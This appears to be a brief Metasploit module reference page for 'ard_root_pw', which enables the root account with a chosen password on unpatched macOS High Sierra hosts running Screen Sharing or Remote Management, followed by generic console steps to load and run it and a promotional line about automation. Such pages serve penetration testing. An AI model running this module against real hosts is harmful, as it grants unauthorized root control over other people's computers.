Enable and set root account to a chosen password on unpatched macOS High Sierra hosts with either Screen Sharing or Remote Management enabled.
To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use auxiliary/scanner/vnc/ard_root_pw
msf auxiliary(ard_root_pw) > show actions
...actions...
msf auxiliary(ard_root_pw) > set ACTION < action-name >
msf auxiliary(ard_root_pw) > show options
...show and set options...
msf auxiliary(ard_root_pw) > run
Time is precious, so I don’t want to do something manually that I can automate. Leveraging the Metasploit Framework when automating any task keeps us from having to re-create the wheel as we can use the existing libraries and focus our efforts where it matters.
